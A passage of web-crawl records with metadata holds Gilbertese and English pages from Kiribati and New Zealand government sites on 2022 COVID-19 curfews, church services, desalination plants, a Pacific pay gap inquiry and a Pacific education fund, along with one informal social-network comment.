ni baarongaa raoi te itera aio.\nIrarikin aei ao a teimatoa abamwakoro aika Marakei ao Maiana ni karinaki naba iaan te kainiin aio ibukina bwa a bon rang kai rootaki riki n te Aoraki ngkai a bon rang kaan ma abamwakoro ake e a buti iaoia ngkai te Aoraki. Te kantaninga bwa irakin nanon te kainiin aei irouia bon anganakia naba aia tai ni kakatauraoiia ngkana arona bwa e na bon kuba n roko te Aoraki aei I abaia.\n----------------------\nGovernment has decided to further extend the curfew for another two more weeks from Friday 18th of March 2022 to Friday 1st of April 2022 or may be longer should the need arise, with similar measures applied in the curfew orders within the last two weeks. The only change is that the curfew time have been relaxed for South Tarawa, Betio, Buota and Butaritari which now commence from 8pm in the evening until 5am in the morning the following day. Shops will close for business at 7pm in the evening to allow time for people to return to their homes.\nThe curfew order for North Tarawa, Maiana, Abaiang, Marakei, Abemama, Aranuka and Makin for the last two weeks will remain the same and will continue to be effective up to 1st April, 2022.\nAs the safety of the public is paramount, the Government continues to impose a curfew to reduce the spread of the virus in the community and to have more time to prepare before another second wave, anticipated to happen three months since the first outbreak of COVID-19 in January this year as advised by AUSMAT, the Australian Medical Team.\nIn light of this, the Government appeals to the general public to strictly comply with the Ministry of Health and Medical Services Standard Operating Procedure (SOP) together with measures applied under the curfew order. The mandatory measures are wearing of face masks, 2 metres social distancing and washing of hands. Those who have reached 60 years and above must take their booster doses at the nearby clinics 5 months after receiving their second dose. Roaming about during curfew hours is strictly prohibited and gatherings should not be more than 20 persons.\nThe Government through the Ministry of Health and Medical Services is developing a Standard Operational Procedure to ensure that travels between South Tarawa, Betio and islands free from COVID-19 can commence soon.\n###\nFor more info, contact:\nCommunications& PR Unit, Office of The President, P.O Box 68, Bairiki, Tarawa, Republic of Kiribati\nTel: +686-75021183, Fax: +686-75021466, Mobile: +686-73026636; E-mail: This email address is being protected from spambots. You need JavaScript enabled to view it.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/president.gov.ki\/news\/95-kanauan-riki-tain-te-kainiin-ma-kamataata-aika-kakawaki.html","date":"2022-05-21T14:40:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662539131.21\/warc\/CC-MAIN-20220521143241-20220521173241-00750.warc.gz","language":"gil","language_score":0.9999365807,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999936580657959}","num_words":993,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.246,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanimwakin mitiin n ran iaon atimwakoro ake a taaketenaki\n(Bairiki, Tarawa, Taabati 17 n Eberi 2022)----Iaon kawaina ngkai ni bobonga raoi ana karikirake te Tautaeka iaon kanimwan mitiin n ran (desalination plant) ibukin tobwaan kainanoia te botannaomata iaon atimwakoro ake a teimatoa n rootaki man taian kaangaanga n irekereke ma te ran ni mooi iaon abaia.\nAio bon teuana maibuakon ana karikirake ami Tautaeka ni kaineti ma kakoroan nanon ana motinnano n reitaki ma ana kataratara ae e abwabwaki (KV20) ibukin uarokoan te marurung ao te maeuraoi man karekean raan ni mooi aika a itiaki irouia te botannaomata ake a maeka n abamwakoro ake a bon rangi n rootaki ke n tarika ranin abaia.\nE mwanenaki te karikirake aei man te Disaster Project ke te karikirake ibukin kanganga ma kabuanibwai aika a karina are e tararuaaki man ana Aobiti te Beretitenti.\nMa imwiin te kamatebwai are e karaoaki ni moan waakinan te karikirake aio n 2020, ao e kamatoaaki bwa abamwakoro aika a bon rangi ni kainanoa riki te ibuobuoki man te karikirake aei bon Kiebu iaon Makin, Abamwakoro iaon Nonouti, Tenaatorua, Aiwa ao Bangai iaon Tabiteuea Meang, Takuu iaon Tabiteuea Maiaki, ao ai Tabuarorae iaon Onotoa.\nN te riiboti ao e teretere bwa iaon kawaina ngkai ni bobonga autin mitiin aikai iaon abamwakoro aika Makin, Tabiteuea Meang, Tabiteuea Maiaki, Onotoa, ao Nonouti iaon kawaina ni waaki ngkai a bon tibwa nikiraki naba bwaina n te namwakaina aio. Tiaki tii ngaia ma Mitiin n ran ibukiia abamwakoro aikai a bon bane naba n tia n roko inanon bain aia Kauntira ao n taningaa tian autiia ibukin kanimwaia. Mwaitin te ran ae e kona ni karekeaki man te mitiin aei bon 12,000 te riita inanon 24 te aoa ke 500 te riita n teuana te aoa. Te mwaiti aei e rangi n tau ibukin kainanoia te botannaomata iaon atimwakoro ake a taaketenaki iaan te karikirake aei.\nAe e waaki ngkai ana Aobiti te Beretitenti n reitaki ma te Botaki ibukin Mwakurian Karikirake ao Kateimatoaan Korakora (MISE) ni baarongaa aron kamwanangaakiia ana taan mwakuri ake a na tauraoi ni kanimwii mitiin aikai n angaraoin te moan kiba nakon abamwakoro aikai.\nIbukin tararuaakin ao kabonganaakin raoi mitiin aikai ao e na tiaainaaki te booraraoi imarenan te Tautaeka ma Kauntira n abamwakoro aikai n te aro bwa a na atai raoi tibwangaia iaon kawakinan mitiin aikai ibukin maeuia aia botannaomata.\nA na kantaninga ami Tautaeka bwa a na kona ni maeu mitiin aikai ao man kabonganaaki ibukiia te botannaomata n abamwakoro aikai imwaain banen te ririki aio.\n-------------------------\nA project on the installation of desalination plants on several islets to address urgent needs of quality drinking water will be completed very soon.\nThis is one of the Government's projects to fulfill both its political manifesto and long-term vision known as KV20 to enhance the livelihood of the people by providing clean and quality water to those people living on most affected islands with water salinity. The project is funded through the Disaster Resilience Fund from the Office of Te Beretitent.\nFollowing a survey that was conducted when this project was first initiated in 2020, it was confirmed that the islets to have their desalination plants installed include Kiebu on Makin, Abamwakoro on Nonouti, Tenaatorua, Aiwa and Bangai on Tabiteuea Meang, Takuu on Tabiteuea Maiaki, and Tabuarorae on Onotoa.\nAccording to a report on the progress of the project, construction works on the sheds for these desalination plants have already commenced on the islands of Makin, Tabiteuea Meang, Tabiteuea Maiaki, Onotoa and Nonouti will be started very soon as the materials have just been delivered earlier this month to this island. Furthermore, all desalination plants have also been delivered to these island councils and ready for installation after the construction works on their sheds complete. The capacity of each desalination plant is 12,000 Litres per 24 hours or 500 Litres per hour which is very enough for people on these Islets.\nThe Office of Te Beretitenti together with the Ministry of Infrastructure and Sustainable Energy are now planning for the deployment of water engineers to these islands to install these plants when travel arrangements are made on the most available flights.\nTo ensure the sustainability of this project, a Memorandum of Understanding will be signed between the Government and these island Councils so that those who will use this people will be given ownership and responsibility to use it properly for the livelihood of the people on these islets.\nThe Government is expecting these desalination plants to be used on these islands before end of this year.\n###\nFor more info, contact:\nCommunications& PR Unit, Office of The President, P.O Box 68, Bairiki, Tarawa, Republic of Kiribati\nTel: +686-75021183, Fax: +686-75021466, Mobile: +686-73026636; E-mail: This email address is being protected from spambots. You need JavaScript enabled to view it.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/president.gov.ki\/news\/98-kanimwakin-mitiin-n-ran-iaon-atimwakoro-ake-a-taaketenaki.html","date":"2022-05-21T15:48:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662539131.21\/warc\/CC-MAIN-20220521143241-20220521173241-00770.warc.gz","language":"gil","language_score":0.9989124537,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9989124536514282}","num_words":789,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera te Pacific Pay Gap?\nTe Pacific Pay Gap e aranaki bwa kaokoron mwaitin te boo imarenaia taan mwakuri aika kain te Betebeke ma te kabanea n rietata n boo iroun te aine ke te mwaane ao n ikotaki ma kain aba aika kakaokoro i aon Aotearoa Nutiran – Imatangin Nutiran aika mwaane. Aio tarakina:\nTera te Pacific Pay Gap Inquiry?\nE tabe ngkai ni karaoa ana kakae te rabwata ae te Human Rights Commission ibukin kaboraoan booia taan mwakuri aika kain te Betebeke ma nikiraia taan mwakuri ni kabane. A kan ataia naba bwa tera ae a karaoia ke a na riai ni karaoia taian bitineti, bwa e aonga n rikirake ao n tamaroa riki aron te mwakuri ibukia taan mwakuri aika kain te Betebeke n te aro bwa kakaokoron te boo e kona n ataki, ni mwakuriaki ao ni katokaki. Te mwakuri ni kakae aio e na boboto i aoia taan mwakuri aika kain te Betebeke n tabo ni mwakuri aika teniua:\nTera ae kantaningaki bwa e na reke man te kakae aei?\nMan te kakae ao e na kona te Komete n karekei iango aika a na ibuobuoki ibukin katamaroan booia kain te Betebeke aika taan mwakuri n taian kambwana ke bitineti nako. E na kona naba n ibuobuoki mwin te kakae aio nakoia koraki aika tiaki kain te Betebeke.i.\nE aera bwa kakaokoron mwaitin te boo ngaia naba teuana te kanganga n inaomataia aomata (human rights issue)?\nA bane n titebo inaomataia taan mwakuri aika kain te Betebeke ma taan mwakuri ni kabaneia n aron aikai:\nInaomataia taan mwakuri aikai a bane ni kawakinaki ao ni kamanoaki i an ana tua Nutiran ao tuan te aonnaba ae e kainna naba Nutiran, ai ngaia are a riai n iraki raoi nanoia. Taian bitineti iai naba tabeia i an te tua bwa a na tararuai man iri raoi inaomataia taan mwakuri. E ngae n anne, ao inaomataia taan mwakuri aikai e aki kabonganaki raoi nakoia taan mwakuri aika kain te Betebeke.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/pacificpaygap.hrc.co.nz\/kiribati\/","date":"2022-05-28T02:12:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00777.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":332,"character_repetition_ratio":0.158,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"P R E S S - R E L E A S E\nTe kabanea ni bubura ni karikirake iaon te ran ibukin Tarawa Teinainano ma Betio, ae e bon waaki naba mwakuriana\nO B - S E R V I C E S\nSmall Grant\nDisaster Relief Fund\nGazettes\nE nang raka boon te tine nte takataka nakon $4 nte kg n 2022\nE a tia te Tautaeka ni Kiribati ni manga kakoroa nanon teuana ana babaire ae e rangi ni bubura iaon kataboroan karakaan boon te takataka man $2 nakon $4 n te kilo are e na moa bwainakina man te ririki ae e boou 2022.\nN te kataumwane are e a tia ni kabwaataki n te Mwaneaba ni Maungatabu n te wiiki ae e nako ao e a tia ni kariaiakaki kabonganaan te mwaiti ni kataumwane ae $40 te mirion ibukin karakaan boon te takataka nakon $4 n te kilo ni moa man Tianuare 2022....read more\nThe Government of Kiribati's vision is to promote a wealthy, healthy and peaceful nation through the sustainable development of its natural and human resources.\nThis development vision has been incorporated into its long term vision also known as the Kiribati 20-year Vision (KV20)","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.president.gov.ki\/","date":"2022-05-18T16:27:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522284.20\/warc\/CC-MAIN-20220518151003-20220518181003-00380.warc.gz","language":"gil","language_score":0.9999824762,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"gil_Latn_score\": 0.999982476234436}","num_words":193,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hi mauri it quiet a long time haven't talk for a while ...so i just come around and check howz things goig with a happy be lated thankzging...\neraba naba te website aio ngke bring us tgether with ur far away family and hold a banaban roots\nnooo shsh I taku bwa koa tia ni mate ahahah...............tao iaon kawaim eeehehee.....no ko mena ia ngkai ai bon te karaba iroum kee.....na mai oki nako Rabi ann tai kabanetai n akiakakaa. Amwatia Tabuariki\nNgkai i bon tekateka ma am karo aei Boou iaon te PC ao ea bon kan anga naba ana karabaraba nakoim ibukin ana multimetre are ea tia n reke irouna. Anga naba aia kamauri tangaia ma natia ikai nakoim n te ririki ae boou ao koa kaongoa naba nei Joyceline ba ana reference ao ana clearance ao ana report ea n mail nakon Reteta i Suva ao ea tabena Reteta ni karokoa i Kiribati. Ana result n Form 5 ena biriakinna Boou ao ea manga karimwiia naba n te tai ae waekoa. Ao ai bon ana katekeraoi tamam aio n te ririki ae boou.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/banabanvoice.ning.com\/profile\/MaioMooteeBoua","date":"2022-05-21T22:17:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662541747.38\/warc\/CC-MAIN-20220521205757-20220521235757-00223.warc.gz","language":"gil","language_score":0.9997060299,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997060298919678}","num_words":184,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Taromauri ibukin butimwaean te Itita ke te Bwakate\n(Bairiki, Tarawa, Kauabong 5 n Eberi 2022) -----Ibukin nooran kakawakin te Wiiki ae e Tabu ao te Toa ae te Bwakate ke te Itita, ao e baaireia te Tautaeka bwa e na uki karaoan taromauri ke tutia ni moa man te Taabati ae 10 ni karokoa te Moanibong ae 18 n Eberi 2022.\nBon tii te botaki n taromauri ke te tutia ae e kariaiakaki ma a riai ni karaoaki rinanon ana kainibaaire Botakin te Mauri ao Katoki Aoraki are kabonganaan te rabuna n ubu n tain te taromauri ke te tutia n raonaki ma bwaai n tebobai ke hand sanitizers ao ni karaoaki n te tabo ae e uki ao n aki bono.\nTe kabane ke bukamaru ake a tataneiai ni kaakaraoaki imwiin te taromauri ke te tutia n aron kanoan te mwaneaba n aekaia nako ao tabeua riki, a bon katokaki moa n te tai aio.\nTe bubuti nakoia taan kairiiri n Botaki n Aaro ao Ekaretia nako bwa a na ibuobuoki ni kakoroi nanon kainibaaire aikai bwa a na iraki raoi nanoia inanon waakin te taromauri ke te tutia.\n----------------------\nGovernment has decided to allow church services for worship only. This will effective this Sunday, 10th and ends on Monday 18th of April 2022 in honor of this upcoming holy week and Easter Eve. Church services must be conducted in line with the MHMS SOPs to be held in open venues with good ventilation, mandatory wearing of face masks and use of hand sanitizers.\nOther Church gatherings that are normally held after the service, are not allowed.\nThe Government appeals to all Church leaders to ensure that all SOPs are strictly observed during the service.\nPress Release","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.president.gov.ki\/news\/97-taromauri-ibukin-butimwaean-te-itita-ke-te-bwakate.html","date":"2022-05-18T17:18:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522284.20\/warc\/CC-MAIN-20220518151003-20220518181003-00590.warc.gz","language":"gil","language_score":0.9999748468,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 0.9999748468399048}","num_words":281,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia COVID-19 ni karawata riki te kanganga ibukia tabeman ataein te reirei ao utu aika kain Te Betebeke, n aron rotakin mweraoia ao aia kekeiaki n te reirei.\nPacific Education Support Fund - Mwane ni Buoka ibukin Boutokakin aia Reirei kain Te Betebeke\nA mwaiti mwakoro ao botaki ni mwakuri ibukia kaain te Betebeke aika a boutokaia ataein te reirei ao utu aika kaain Te Betebeke bwa a na wakina te reirei inanon tain kaitaraan ao totokoan butin te COVID-19, ao n taraia raoi bwa a reke boutoka ao makuri n ibuobuoki nakoia ataein te reirei ao utu aika kain te Betekebeke.\nE tauraoi te Pacific Education Support Fund ibukia taan mwakuri ibukin mwakoro, kurubu ao botaki ni mwakuri ibukin buokaia ataein te reirei ao aia utu ni kainnanoia aika a irekereke ma aia reirei ao mweraoia aika a reke man ao\/ke ni korakora riki man te COVID-19. Kainnano aika a irekereke ma te reirei bon kainnano ao boutoka aika a kainnanoaki ibukin karekean te reitaki ae e tamaroa bwa e na uaana ibukia ataein te reirei aika kaain Te Betebeke. E iri ma boutokan te mweraoi ao karikirakean te reitaki ae e tamaroa. Aikai tabeua katoto ibukin taian moan kakatai:\n- Karikirakean te reitaki imarenaia utu aika kaain Te Betebeke ao taabo n reirei man karekean te itoman ao boutokakin te manga reitaki irouia utu ao ataein te reirei.\n- Katomakia ataein te reirei ao utu aika kaain Te Betebeke ma waaki aika a na buoka kainnanoia aika a irekereke ma te reirei, n aron kataneaia n taabo n reirei ao karekean kawai ibukin kateimatoan te reirei ma kataneiai.\n- Boutokakin okiran te reirei n te tabo n reirei ke aia reirei ataei aika a uarereke ao kakaen reirei ao te kataneiai aika a botau ibukia.\n- Boutokakia ataein te reirei aika kain Te Betebeke bwa a na kakaonimaki ni kaea te reirei ao ni kateimatoa te reitaki.\nTe Pacific Education Support Fund bon mwangan te COVID-19 Response and Recovery Fund ao e karina $39.7m ibukin aua te ririki (2020\/21 nakon 2023\/24) nakon broker support ibukin boutokakia ataein te reirei ao utu aika kaain Te Betebeke bwa a na kona n reirei.\nA kona ni kuneaki ikai rongorongo ibukin karekean te mwane ni buoka ao te bwebwa ibukin karekean te mwane ni buoka.\nTe kataumwane (Tibwangaia Aono)\nE na tauraoi $6m ibukin nimaua aono 2021\/22. Akea tian mwaitin te mwane ni buoka ae ko kona n bubuti, ma e na riai n aki riaon mwaitin te kataumwane ibukin am aono. E a tia n tibwaaki te mwane ni buoka n aron aio:\n- $4m ibukin Auckland\n- $344,000 ibukin Waikato\n- $211,000 ibukin Hawke's Bay-Tairāwhiti\n- $941,000 ibukin Wellington\n- $484,000 ibukin Canterbury ao Chatham Island\nMwaitin te mwane ni buoka ae e katannakoaki ibukin Auckland e katereterea mwaitia ataein te reirei aika kaain Te Betebeke ao aron rotaakia ni bibitakin Karinanin te COVID-19. E korakora mwaitia ataein te reirei aika kain Te Betebeke aika a mena n aono aika nimaua aikai, e boboto aei i aon mwaitia – n ikotaki ma kakaokoron kainnanoia aomata n aono nako.\nBwaai aika a kainnanoaki\nIbukin karekean te mwane ni buoka aei, ko na riai kona ni kaitarai bwaai aika a kainnanoaki aikai:\n- Ngkoe te kurubu \/botaki ni mwakuri ibukin te mwakoro, te botaki n aro ke te tabo ni mwakuri ibukin te botanaomata aika a mena n aono n reirei aikai: Auckland, Waikato, Hawke's Bay-Tairāwhiti, Wellington, ke Canterbury ao Chatham Islands\n- E a tia ni kinaaki am kurubu iaan te tua ao iai ana bank account ae e titebo arana ma are n te tua\n- Ngkoe, ao kain am kurubu, bon kain Nutiran ke taian permanent residents i Nutiran ao kam maeka i aon Nutiran\n- E na karaoaki ao n wakinaki am karikirake n teuana mai buakon nimaua aono aika a oti i eta ao e na boutokaia ataein te reirei ao utu aika kaain Te Betebeke bwa a na karekei buoka ao boutoka ao man ira te waaki n reirei\n- A kona ni karaoaki bwaai man kabonganakin te mwane ni buoka bwa a na tauraoi n akea booia nakoia ataein te reirei ao utu aika kaain Te Betebeke\n- E na akea aia taarau ke baen am kurubu\/ke kanganga ma te tua (i.e. ko aki kona ni kabwara taarau, ke ko kateaki n te bowi, ao a mwaiti riki).\nA kona botaki ni mwakuri aika iai ke akea aia boraraoi ma te Ministry ni karina aia bebwa ni bubuti.\nA kariaiakaki botaki ni mwakuri aika a tia n reke irouia te mwane ni buoka ibukin 2020\/21 ni manga karina riki aia bebwa ni bubuti. Ibukin rinanoan am bubuti, ao e na taraaki mwiin am karikirake man te moan raun. Ko na riai ni karina bwaninin rongorongon te mwane ae e a tia n reke iroum inanon te booma ni bubuti.\nKo kona ni bubuti te mwane ni buoka ibukin reitan ke karababan am karikirake ae ko karaoia ngkai. Ko na riai ni karina bwaninin rongorongon te mwane ni buoka ae e a tia n reke iroum ibukin am karikirake inanon te booma ni bubuti.\nKo kona ngkoe te tia karaoa te application ni karina tii teuana am bebwa n teuana te aono ibukin te Support Fund. Ko kona ngkoe ae te partner ke te associate ni karaoa teuana te application ke e mwaiti riki, ma e ngae n anne, a aki kona botaki ni mwakuri ni karaoa te bebwa ni bubuti ae mwaiti iaan teuana te aono.\nE aki mwaneni waaki aikai te Pacific Education Support Fund:\n- Reirei ibukia ataei aika a uarereke, kuura n reirei ao reirei aika a rietata, a aki butimwaeaki aia bubuti ibukin te Pacific Education Support Fund ma a kona ni butimwaeki ibukin te Pacific Education Innovation Fund, ikai.\n- Waaki aika a tia ni mwanenaki bwa a na karaoaki reirei n aia reirei ataei aika a uarereke, kuura n reirei ao botaki n reirei aika a rietata (mwakuri aika a wakinaki n tabo n reirei ibukia ataei aika a uarereke, kuura n reirei ao reirei aika a rietata).\n- Waaki ni karekemwane ao\/ke waaki ni karikirake ibukia botaki ni mwakuri, te katoto, kabonganakin te mwane ni buoka ibukin te karikirake.\n- Waaki aika a boou aika a aki boraoi ma ana botoniango te mwane ni buoka aei.\n- Burokuraem ao waaki aika a riki i tinaniku, n ikotaki ma aaba aika a mena iaan NZ.\n- Kabane mwane i aon kateitei ke bwai ni mwakuri\n- A na aki mwanenaki bwai ni mwakuri; e bon kona naba te Botaki n Reirei (Ministry of Education) n kariaia tangoan bwaai aika a bongana (e.g. laptops) ma e tiku te babaire irouna.\n- Mwananga nako tinaniku.\nBwaai aika a taraaki ibukin rinanoan karaoan te bubuti\nA na manga rinanoaki beebwa ni bubuti aika a kariaiakaki ni kaineti ma bwai aika a kainnanoaki aikai:\n- E na kanga te bubuti ni kakoroa bukin ana botoniango te mwane ni buoka\n- Iai kakoauan te karikirake bwa e buoki kainnanoia ataein te reirei aika kain Te Betebeke ao n taobaraea te kainnano ae e irekereke ma te reirei ae e reke ke ni korakora riki man te COVID-19\n- Kakoauan ae iai korakoram\/konabwaim ni waakina te karikirake ae ko iangoia\n- E tau buokan am karikirake are e na buoka rikirakeia ataein te reirei ao utu aika kaain Te Betebeke\nTi rang n nano n:\n- Tera ae ko na karaoia n am karikirake, n ikotaki ma tera bitaki aika a na reke nakoia ataein te reirei ao utu aika kaain Te Betebeke\n- E na kanga am karikirake n tobwai kainnanoia n te reirei ataein te reirei ao utu aika kaain Te Betebeke\n- Antai ataein te reirei ao utu aika a na boutokaaki n am karikirake\n- Iraua mwaitin te mwane ni buoka ae ko kainnanoia\nAdditional Information","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/conversation.education.govt.nz\/conversations\/action-plan-for-pacific-education\/pacific-education-funds\/pacific-education-support-fund\/te-taetae-ni-kiribati\/","date":"2022-05-25T22:46:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662594414.79\/warc\/CC-MAIN-20220525213545-20220526003545-00647.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1277,"character_repetition_ratio":0.128,"word_repetition_ratio":0.021,"special_characters_ratio":0.216,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kaanauaki riki te kainiin man 1 nakon 29 n Eberi ibukin maurin te botannaomata.\n(Bairiki, Tarawa, Kanimabong 1 n Eberi 2022) ----- Ibukin moanibwaian maurin te botannaomata ao e a tia te Tautaeka ni baaireia bwa e na manga reitinako riki te kainiin n te maan ae aua (4) te wiiki ni moa man 1 nakon 29 n Eberi 2022.\nIbukin ongoraan te botannaomata ao e na teimatoa n tiku n aroia babaire ake kanoan te Oota n te uoua ni wiiki ae e nako ibukin i) Tarawa Teinainano, Betio, Buota ao Butaritari n reitaki naba ma ii) Tarawaieta, Maiana, Abaiang, Marakei, Abemama, Aranuka ao Makin, ma bon tii te bitaki ae e boou bon tain kainan te nakonako (curfew hours) are a bane ni katitebooaki iai abamwakoro aikai bwa e a moa ngkai man te aoa 10pm n te tairiki ao n toki n te aoa 5am n te karangaina n te bong are imwiina.\nTe mwamwananga nakon abamwakoro ake a tuai rootaki n te COVID-19 e nang kaukaki rinanon te kainibaaire (SOP) n aron te tutuo imwaain te mwananga, e na riai n koro itim ao iai am beeba n iiti ibukin kakoauam (vaccination card), kaokoroam iaan mweengam bon tii ngkoe (Home Isolation) n te aro bwa ko na bon aki ituaki mairouia kaain am auti, ao ai te tutuo imwaain mwanangam are e na karaoaki imwain te mwananga n te aro bwa e na bon kakoauaki raoi bwa akea (negative) manin te aoraki iroum. N rokom n te abamakoro, ao ko na kawakinaki n te tabo n katantan (quarantine) inanon teniua te bong imwain ae ko na manga bon tuoaki riki. Ngkana ko kuneaki bwa iai manin te aoraki iroum, ao e na kona n reitaki nako riki tikum n te tabo n katantan imwain am tutuo are imwina. N te tai are e kamatoaki iai bwa akea manin te aoraki aio iroum, ao ko a tibwa kona n kaotinakoaki.\nIbukin te bobotaki, ao e na bon tiku n arona te babaire are ti uangaun kaina. Ngkai e teimatoa abara ni kinaaki bwa te aba n Kiritian, ao e baireia ami Tautaeka bwa e na bon tii kaukaki te botaki n tutia ao n taromauri inanon te Bwakate ke te Itita ae imwaaira aei rinanon ana kainibaire Botakin te Mauri ma Katoki Aoraki n aron kabongaanaaki te rabuna n ubu n tain te tutia ke taromauri.\nAna bowi te Maneaba ni Maungatabu e na bon waaki ma aio are e na riai naba n karaoaki rinanon ana kainibaire Botakin te Mauri ao Katoki Aoraki ao n ira naba nanon te Oota aio.\nIai naba ana kantaninga te Tautaeka bwa reirei ni kabane a nang bane n okirii aroia nakon te kauoua n teem ao man moanibwaiaki moa karokoaia ataein te reirei ake a bae iaon abamakoro nako Tarawa, riki koraki itiua (7) ake a na manga tauraoi ni kaiangatoa nakon reitan aia reirei ni kuura aika a ririeta itinaniku.\nIbukin maurin ao mataatan te botannaomata, ao e teimatoa ni waaki te kainiin aio bwa ana anga te Tautaeka ni kauarerekea butin te Aoraki aei ao ni kakatauraoi naba ngkai iai te katautau man ana riiboti te Tiim n Ibuobuoki ibukin te Mauri mai Aotiteria ae AUSMAT bwa e na kona te Aoraki aei ni manga moan buti kaua imwiin koron teniua (3) te namwakaina man te tai are e moan buti iai inanon Tianuare te ririki aei. E boboto aio man bwai aika riki naba nakoia aaba ake e buti iai te COVID-19.\nIbukin aei ao e kawenea ana kaoriori te Tautaeka bwa e rang kakawaki kateimatoaan irakin raoi kanoan ana kainibaaire (SOP) Botakin te Mauri ao Katoki Aoraki n reitaki ma te Ota n te Kainiin ae e waaki ngkai. Taabo ni boobwai a riai n in n te aoa 9pm n te tairiki bwa a aonga n reke aia tai taan boobwai n okirii aia auti imwaain te kainiin n te aoa 10pm n te tairiki.\nTe kauring nakoia ake a tia ni koro 60 aia ririki bwa kam na riai ni karekei ami kateniua n iti (booster dose) n Kiriniki ake a uakaan ma ngaia imwiin koron 5 te namwakaina mai imwiin aia kauoua n iti, kakoroan itiia ake a tuai koro itiia ao ai kamatoaan te aki rerebaua n aki manikangarea te Aoraki aei.\n----------------------\nGovernment has decided to extend the curfew for another four weeks effective from 1st to 29th of April 2022. The changes in the new curfew order includes the following, reducing curfew hours from 8pm to 10 pm until 5am in the morning for Buota, South Tarawa, Betio, Butaritari, Makin, North Tarawa, Abaiang, Marakei, Maiana, Aranuka and Abemama; the resumption of schools for the second term along with resuming travels from Tarawa to COVID-19 free outer islands and so forth under strict SOPs.\nAs Kiribati is recognised as a Christian nation, Government has allowed different faiths to worship during this Easter holiday but wearing of masks is mandatory during these church services. Parliament session will be convened as planned but must be conducted in compliance with the SOPs as well. Other gatherings will remain as they are in the previous curfew where up to 20 people are allowed to gather in outdoor setting.\nSchool is expected to resume in Term 2 and travels for students who are still stranded on the outer islands will be prioritized especially for Form 7 students who will compete for tertiary scholarships.\nAs the safety of the public is paramount, the Government continues to impose a curfew to reduce the spread of the virus in the community and to have more time to prepare before another second wave, anticipated to occur three months since the first outbreak of COVID-19 in January this year as advised by AUSMAT, the Australian Medical Team.\nIn light of this, the Government appeals to the general public to strictly comply with the Ministry of Health and Medical Services Standard Operating Procedure (SOP) together with measures applied under the curfew order. The mandatory measures are wearing of face masks, 2 meters social distancing and washing of hands. Those who have reached 60 years and above must take their booster doses at the nearby clinics 5 months after receiving their second dose. Roaming about during curfew hours is strictly prohibited and gatherings should not be more than 20 persons.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/president.gov.ki\/news\/96-e-kaanauaki-riki-te-kainiin-man-1-nakon-29-n-eberi-ibukin-maurin-te-botannaomata.html","date":"2022-05-21T14:54:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662539131.21\/warc\/CC-MAIN-20220521143241-20220521173241-00206.warc.gz","language":"gil","language_score":0.9999819994,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 0.9999819993972778}","num_words":1036,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kiribati Education Improvement Program\nKo nano ni karikirakean te wareware ao te reirei ibukiia ataei n te taetae ni Kiribati? Ko kan noorii karaki ni Kiribati aika a mwaiti n taian reirei?\nE a waaki ngkai te Botaki n reirei ni kakaaei karaki aika a boou, ao a tuai n 